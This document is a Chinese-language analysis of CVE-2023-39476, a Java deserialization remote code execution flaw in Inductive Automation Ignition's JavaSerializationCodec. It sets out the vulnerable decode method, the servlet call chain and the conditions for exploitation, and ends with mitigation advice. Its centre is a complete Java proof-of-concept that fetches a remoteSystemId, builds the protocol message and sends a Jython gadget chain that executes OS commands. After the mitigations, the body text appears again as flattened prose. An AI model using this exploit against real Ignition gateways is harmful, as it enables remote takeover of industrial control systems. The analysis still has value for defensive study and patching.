CVE-2023-39476 Inductive Automation Ignition JavaSerializationCodec Deserialization RCE
字数 1644 2025-08-24 10:10:13

Inductive Automation Ignition JavaSerializationCodec 反序列化漏洞分析 (CVE-2023-39476)

漏洞概述

CVE-2023-39476 是 Inductive Automation Ignition 中存在的一个 Java 反序列化远程代码执行漏洞。该漏洞存在于 JavaSerializationCodec 组件中,允许攻击者通过构造特定的序列化数据实现远程代码执行。

受影响版本

  • Ignition 8.1.30 及之前版本
  • 测试发现 Ignition 8.1.31 版本仍未修复

环境搭建

  1. 下载安装 Ignition 8.1.30 Windows 64位安装包 (ignition-8.1.30-windows-64-installer.exe)
  2. 默认安装即可
  3. 安装后运行的服务配置如下:
    "C:\Program Files\Inductive Automation\Ignition\IgnitionGateway.exe" -s "C:\Program Files\Inductive Automation\Ignition\data\ignition.conf"
    

调试环境配置

  1. 取消注释 ignition.conf 中的远程 JVM 调试配置
  2. 将以下目录中的 JAR 文件添加到调试项目的库中:
    • lib/wrapper.jar
    • lib/core/common/*
    • lib/core/gateway/*

漏洞分析

漏洞点定位

漏洞位于 com.inductiveautomation.metro.impl.codecs.JavaSerializationCodec 类的 decode 方法中,该方法直接使用了 ObjectInputStream.readObject() 进行反序列化操作,没有进行任何安全校验。

public Object decode(ByteBuffer input) throws Exception {
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(input.array()));
    return ois.readObject(); // 漏洞点
}

调用链分析

完整的调用链如下:

  1. DataChannelServlet#doPost (入口点)
  2. WebSocketConnection#onDataReceived
  3. WebSocketConnection#forward
  4. ConnectionWatcher#handle
  5. ConnectionWatcher#handleConnectionMessage
  6. ServerMessage#decodePayload
  7. JavaSerializationCodec#decode (漏洞点)

攻击路径

  1. 访问 /system/ws-datachannel-servlet 端点
  2. 需要先通过 WebSocket 建立连接获取 remoteConnectionId
  3. 构造恶意序列化数据发送到上述端点

漏洞利用条件

  1. SSL/TLS 配置

    • 默认情况下需要 HTTPS 连接
    • 可以在管理界面取消 "Require SSL/TLS" 选项以允许 HTTP 访问
  2. IP 访问策略

    • 需要将 IP 访问策略设置为 "Unrestricted"
    • 或者将攻击者 IP 添加到白名单中

漏洞利用步骤

第一步:获取 remoteConnectionId

  1. 构造 WebSocket 连接到 /system/ws-control-servlet 端点:
    ws://[target]:8088/system/ws-control-servlet?name=q&uuid=6a7e39e1-1ca4-405f-bfb3-6d971d6e7211&url=http://[target]:8088/system
    
  2. 从响应头中获取 remoteSystemId

第二步:构造恶意请求

  1. 使用 Java 序列化构造恶意对象
  2. 使用 Jython 的 gadget 链实现 RCE
  3. 将 payload 发送到 /system/ws-datachannel-servlet 端点

完整利用代码

package org.example;

import org.python.core.PyMethod;
import org.python.core.PyObject;
import org.python.core.PyString;
import org.python.core.PyStringMap;

import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.net.URI;
import java.net.http.HttpClient;
import java.net.http.HttpRequest;
import java.net.http.HttpResponse;
import java.time.Duration;
import java.util.Comparator;
import java.util.HashMap;
import java.util.List;
import java.util.PriorityQueue;

public class Main {
    public static void main(String[] args) throws Exception {
        String url = "http://172.16.1.152:8088";
        System.setProperty("jdk.httpclient.allowRestrictedHeaders", "Connection,Upgrade");
        
        HttpClient httpClient = HttpClient.newBuilder()
                .connectTimeout(Duration.ofSeconds(30))
                .build();

        String name = "qq";
        String uuid = "1a7e39e1-1ca4-405f-bfb3-6d971d6e7211";
        
        HttpRequest request = HttpRequest.newBuilder()
                .uri(URI.create(String.format("%s/system/ws-control-servlet?name=%s&uuid=%s&url=http://localhost:8088/system", url, name, uuid)))
                .GET()
                .header("Connection", "Upgrade")
                .header("Sec-WebSocket-Version", "13")
                .header("Sec-WebSocket-Key", "cJA5QIfEfnrZr7rrJ+3urg==")
                .header("Upgrade", "websocket")
                .header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36")
                .build();

        HttpResponse<String> response = httpClient.send(request, HttpResponse.BodyHandlers.ofString());
        List<String> headerForRemoteSystemID = response.headers().map().get("remoteSystemId");
        if (headerForRemoteSystemID.size() < 1) {
            System.out.println("[X] can't get remoteSystemId");
        }
        String remoteSystemId = headerForRemoteSystemID.get(0).split("\\|")[0];
        System.out.println("remoteSystemId=" + remoteSystemId);

        ByteArrayOutputStream stream = new ByteArrayOutputStream();
        DataOutputStream dataOutputStream = new DataOutputStream(stream);
        dataOutputStream.writeInt(18753); // magicBytes
        dataOutputStream.writeInt(1); // protocolVersion
        dataOutputStream.writeShort(1); // messageId
        dataOutputStream.writeInt(1); //opCode
        dataOutputStream.writeInt(1); //flags
        dataOutputStream.writeByte(1); //senderId
        dataOutputStream.writeShort(name.length()); // 这里和websocket中的name参数保持一致
        dataOutputStream.writeChars(name); //targetAddress
        dataOutputStream.writeShort(remoteSystemId.length());
        dataOutputStream.writeChars(remoteSystemId); //senderUrl
        dataOutputStream.writeShort(1);
        dataOutputStream.writeChar(47);
        dataOutputStream.writeInt(1); // readObject for ServerMessage

        Class<?> aClass = Class.forName("com.inductiveautomation.metro.impl.transport.ServerMessage$ServerMessageHeader");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructors()[1];
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance("_conn_svr", "_js_");
        Field headersValues = o.getClass().getDeclaredField("headersValues");
        headersValues.setAccessible(true);
        HashMap map = (HashMap) headersValues.get(o);
        map.put("_source_", remoteSystemId);
        map.put("replyrequested", "true");
        byte[] bs = serialize(o);
        dataOutputStream.writeInt(bs.length);
        dataOutputStream.write(bs);

        // evil payload
        byte[] serialize = serialize(getObj("calc"));
        dataOutputStream.write(serialize);

        HttpRequest request1 = HttpRequest.newBuilder(URI.create(url + "/system/ws-datachannel-servlet"))
                .POST(HttpRequest.BodyPublishers.ofByteArray(stream.toByteArray()))
                .header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36")
                .build();

        HttpResponse<String> httpResponse = httpClient.send(request1, HttpResponse.BodyHandlers.ofString());
        System.out.println(httpResponse.body());
    }

    public static byte[] serialize(Object o) throws IOException {
        ByteArrayOutputStream stream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(stream);
        objectOutputStream.writeObject(o);
        objectOutputStream.flush();
        objectOutputStream.flush();
        stream.flush();
        return stream.toByteArray();
    }

    public static Object getObj(String cmd) throws Exception {
        Class<?> BuiltinFunctionsclazz = Class.forName("org.python.core.BuiltinFunctions");
        Constructor<?> c = BuiltinFunctionsclazz.getDeclaredConstructors()[0];
        c.setAccessible(true);
        Object builtin = c.newInstance("rce", 18, 1);
        PyMethod handler = new PyMethod((PyObject) builtin, null, new PyString().getType());
        Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
        PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
        HashMap<Object, PyObject> myargs = new HashMap<>();
        myargs.put("cmd", new PyString(cmd));
        PyStringMap locals = new PyStringMap(myargs);
        Object[] queue = new Object[]{
                new PyString("__import__('os').system(cmd)"), // attack
                locals, // context
        };
        Field field = priorityQueue.getClass().getDeclaredField("queue");
        field.setAccessible(true);
        field.set(priorityQueue, queue);
        Field declaredField = priorityQueue.getClass().getDeclaredField("size");
        declaredField.setAccessible(true);
        declaredField.set(priorityQueue, 2);
        return priorityQueue;
    }
}

修复建议

  1. 升级到最新版本(如果已发布修复版本)
  2. 限制对 /system/ws-datachannel-servlet/system/ws-control-servlet 端点的访问
  3. 保持 SSL/TLS 强制启用
  4. 配置严格的 IP 访问策略

总结

CVE-2023-39476 是一个典型的 Java 反序列化漏洞,由于直接使用不安全的 ObjectInputStream.readObject() 方法导致。攻击者可以通过构造特定的序列化数据实现远程代码执行。该漏洞利用需要满足特定的配置条件,但在默认配置下仍存在风险。

Inductive Automation Ignition JavaSerializationCodec 反序列化漏洞分析 (CVE-2023-39476) 漏洞概述 CVE-2023-39476 是 Inductive Automation Ignition 中存在的一个 Java 反序列化远程代码执行漏洞。该漏洞存在于 JavaSerializationCodec 组件中,允许攻击者通过构造特定的序列化数据实现远程代码执行。 受影响版本 Ignition 8.1.30 及之前版本 测试发现 Ignition 8.1.31 版本仍未修复 环境搭建 下载安装 Ignition 8.1.30 Windows 64位安装包 ( ignition-8.1.30-windows-64-installer.exe ) 默认安装即可 安装后运行的服务配置如下: 调试环境配置 取消注释 ignition.conf 中的远程 JVM 调试配置 将以下目录中的 JAR 文件添加到调试项目的库中: lib/wrapper.jar lib/core/common/* lib/core/gateway/* 漏洞分析 漏洞点定位 漏洞位于 com.inductiveautomation.metro.impl.codecs.JavaSerializationCodec 类的 decode 方法中,该方法直接使用了 ObjectInputStream.readObject() 进行反序列化操作,没有进行任何安全校验。 调用链分析 完整的调用链如下: DataChannelServlet#doPost (入口点) WebSocketConnection#onDataReceived WebSocketConnection#forward ConnectionWatcher#handle ConnectionWatcher#handleConnectionMessage ServerMessage#decodePayload JavaSerializationCodec#decode (漏洞点) 攻击路径 访问 /system/ws-datachannel-servlet 端点 需要先通过 WebSocket 建立连接获取 remoteConnectionId 构造恶意序列化数据发送到上述端点 漏洞利用条件 SSL/TLS 配置 : 默认情况下需要 HTTPS 连接 可以在管理界面取消 "Require SSL/TLS" 选项以允许 HTTP 访问 IP 访问策略 : 需要将 IP 访问策略设置为 "Unrestricted" 或者将攻击者 IP 添加到白名单中 漏洞利用步骤 第一步:获取 remoteConnectionId 构造 WebSocket 连接到 /system/ws-control-servlet 端点: 从响应头中获取 remoteSystemId 值 第二步:构造恶意请求 使用 Java 序列化构造恶意对象 使用 Jython 的 gadget 链实现 RCE 将 payload 发送到 /system/ws-datachannel-servlet 端点 完整利用代码 修复建议 升级到最新版本(如果已发布修复版本) 限制对 /system/ws-datachannel-servlet 和 /system/ws-control-servlet 端点的访问 保持 SSL/TLS 强制启用 配置严格的 IP 访问策略 总结 CVE-2023-39476 是一个典型的 Java 反序列化漏洞,由于直接使用不安全的 ObjectInputStream.readObject() 方法导致。攻击者可以通过构造特定的序列化数据实现远程代码执行。该漏洞利用需要满足特定的配置条件,但在默认配置下仍存在风险。